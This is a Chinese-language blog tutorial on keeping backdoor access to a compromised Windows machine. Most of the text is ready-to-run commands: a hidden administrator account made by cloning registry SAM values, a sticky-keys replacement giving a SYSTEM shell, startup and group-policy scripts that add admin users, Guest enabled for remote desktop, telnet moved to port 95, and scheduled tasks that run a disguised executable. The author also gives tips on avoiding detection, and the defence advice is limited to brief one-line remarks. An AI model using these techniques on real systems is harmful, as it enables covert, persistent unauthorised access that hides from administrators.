Windows留后门维持权限(其中包括详细的telnet改端口与连接)

时间:2024-04-15 09:59:25

题记

       这次按计划轮到权限维持了,想着都试试,结果发现工作量还不小,也算收获不少,这里印象最深的是又玩了一回telnet,希望大家重点关注这部分还有隐藏账户,也很有意思。我已经*号标出来了。

       补天又过了洞了,真不容易,我排名终于进入前3000了。纪念一波,补天洞能过一个可是真不容易,我还是挑的自己看着还行的网站。给你康康。

1 *隐藏账户

       隐藏账户应该是最常见的后门方式,其设置方式如下:

       首先我们在命令行输入,如下命令创建一个隐藏账号

       net user sunny$ 123.com /add

       这个时候,通过net user并不能看到这个账户。

       然后我们将它添加到管理员权限。

       net localgroup administrators sunny$ /add

       但是这个"隐藏账户"在用户账户中可以看到,并不能骗过细心的管理员。

       这个时候我们可以通过操作注册表,使这个账户在用户账户中也不显示。首先我们输入regedit打开注册表编辑器,找到HKEY_LOCAL_MACHINE\SAM\SAM,我们发现这个时候它是空白的,没有权限进行操作,所以我们要右键权限,将读写权限赋予administrator。

       然后我们重启注册表编辑器,发现这个时候已经可以访问了,我们在里面找到刚才创建的sunny$账号和administrator账号对应的键值类型。

       然后在上一级文件中找键值类型对应的目录,将administrator对应目录中的F值复制到sunny$对应目录中的F值。

       复制完成后,把sunny$和其对应的0000003ED目录先导出并保存。

       然后在命令行中删除刚才的账号

       net user sunny$ /del

       最后将刚才导出的注册表文件重新导入,隐藏账户就添加成功了。

       此时在用户账户中看不到这个隐藏账户。

       这个时候其实已经完成了,但是我们还可以再走一步操作,那就是把注册表刚才赋予administrator的权限禁止掉,这样这个账户就很难被发现了。

       链接3389,发现已经成功以sunny$账号登录目标主机,而且显示的用户为administrator。

防范:

       经常检查用户账户、注册表关键位置。

       将计算机对用户登陆事件的审核策略打开。

2 shift后门

       shift后门是很常见的留后门手法,其原理是用cmd.exe替换原先粘滞键,粘滞键的程序sethc.exe可以通过五次shift键调用,这样我们就可以直接通过按五次shift来调用一个system权限的命令行来执行命令、创建用户等。

       shift后门有着非常丰富的骚操作,我们先来通过一个最基础的shift后门来学习原理。

       这里要注意粘滞键的用户是trustedinstaller的,首先要更改软件所有者与管理员的权限。

       更改权限的方法参考这个网址:http://jingyan.baidu.com/article/4665065820f043f549e5f839.html

制作方法如下:

       我们先进入C:\WINDOWS\system32目录,在这里右键打开命令行,依次输入

       move sethc.exe sethc.exe.bak

       copy cmd.exe sethc.exe

       这两句命令分别是将粘滞键程序备份,然后用cmd.exe覆盖原本的粘滞键程序。

       然后我们每次要使用时按5次shift键弹出cmd窗口,可直接以system权限执行系统命令,创建管理员用户,登录服务器等。最后每次删除掉新建的账户,减少被发现的概率。

       如图,我们可以在远程桌面界面就直接调用cmd:

添加用户进入

       net user mm$ 123.com /add

       net localgroup administrators mm$ /add

       尝试登陆。

       操作完删除用户。

防范:

       自行呼出粘滞键检查问题。

       禁用粘滞键。

3 启动项后门

       我们可以让目标机器在每次启动的时候创建一个账户,在这个思路下有很多可以采取的措施,第一种是启动项:

       在C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup目录中,放入我们启动时要运行的批处理代码或其他可运行文件,一般是创建一个管理员账户:

@echo off

net user hello$ 123.com /add

net localgroup administrators hello$ /add

       保存为start.bat

       因为有所改动,可能图文不符,但是这是能成功的。(后来补的图)

       重启后成功创建用户

防范:

       定期检查启动文件夹内容。

 4 组策略

       我第二种方法是组策略,可以在gpedit.msc中的windows设置-脚本(启动/关机)中添加新的启动脚本,在开机时就会自动运行。

       相比于第一种放在启动目录中,放在组策略中更加隐蔽,一般不容易引起管理员察觉,从而降低被删除的概率。

防范:

       定期检查组策略。

       重启后我觉得这样不行,太明目张胆了。还是影子账户好使。

5 启用Guest用户

       Guest用户本身就存在于计算机中,但是一般默认禁止,且不可登录,我们可以通过命令激活Guest用户并赋予管理员权限,并允许远程桌面登录。

net user Guest /active:yes

net user Guest 123.com

net localgroup Administrators Guest /ADD

       gpedit.msc->计算机配置->windows设置->安全设置->本地策略->用户权限分配->允许通过远程桌面服务登录 添加Guest

       成功登录。

防范:

       定期检查gpedit.msc->计算机配置->windows设置->安全设置->本地策略->用户权限分配中关于Guest用户的权限配置

6 *telnet后门

       如果我们直接打开远程桌面的3389很容易就会被发现,但是我们打开telnet服务并改变默认端口(23),就可以做一定程度的隐藏,我们在服务中打开telnet服务,然后将windows服务中的telnet客户端打开,然后在我们本机打开telnet服务端,访问目标主机ip和端口并登陆我们的用户名密码即可。

       这里的配置如下:192.168.1.132为我们的目标靶机,192.168.1.3为实体机用来连接132。

1、在192.168.1.132上安装telnet服务。

2、启动telnet服务。

3、更换telnet端口(改为不是23,增加隐蔽性,这里我改为95)

       tlntadmn config port =95

       如图重启服务

       netstat -anp tcp|findstr 95 查看95端口情况

       tlntadmn 查看设置

4、在192.168.1.3开始客户端。

5、连接132的telnet服务

       telnet 192.168.1.132 95

       因为改掉了端口号,这里需要链接95口。

6、链接后输入账号密码登录

7、在服务器端查看95端口情况。

防范:

       定期检查服务器的进程端口有没有存在后门程序。

7 计划任务

       schtasks /create /sc ONLOGON /mo modifier /tr C:\Windows\System32\cmd.exe /tn test

7.1 命令解析

       创建新的计划任务。

       schtasks /create

       指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。

       /sc schedule

       指定任务在其计划类型内的运行频率。这个参数对于 MONTHLY 计划是必需的。对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为 1。

       /mo modifier

       指定任务运行的程序或命令。如果忽略该路径,SchTasks.exe 将假定文件在 Systemroot\System32 目录下。

       /tr <TaskRun>

       指定任务的名称。

       /tn <TaskName>

7.2 常用命令

       每分钟执行一次任务。

       schtasks /create /sc MINUTE /mo 1 /tn calc_update /tr "C:\\Users\\liuxueshuo\\AppData\\Local\\Temp\\calc_update.exe"

       每小时执行一次任务。

       schtasks /create /sc HOURLY /mo 1 /tn calc_update /tr "C:\\Users\\liuxueshuo\\AppData\\Local\\Temp\\calc_update.exe"

       每天执行一次任务。

       schtasks /create /sc DAILY /mo 1 /tn calc_update /tr "C:\\Users\\liuxueshuo\\AppData\\Local\\Temp\\calc_update.exe"

       每周执行一次任务。

       schtasks /create /sc WEEKLY /mo 1 /tn calc_update /tr "C:\\Users\\liuxueshuo\\AppData\\Local\\Temp\\calc_update.exe"

       删除计划任务。

       schtasks /Delete /TN 任务名称 /F

参考文章

       windows常用后门技术及防范:http://next.uuzdaisuki.com/2018/06/18/windows常用后门技术及防范/

       Windows 服务器权限维持篇:http://bugfor.com/vuls/4906.html

       linux bash后门奇淫技巧:https://mp.weixin.qq.com/s/cJP3bQbkMrnF2iP9--wpjg

       windows 2008 修改telnet服务端口:http://jingyan.baidu.com/article/29697b9103f45dab21de3c67.html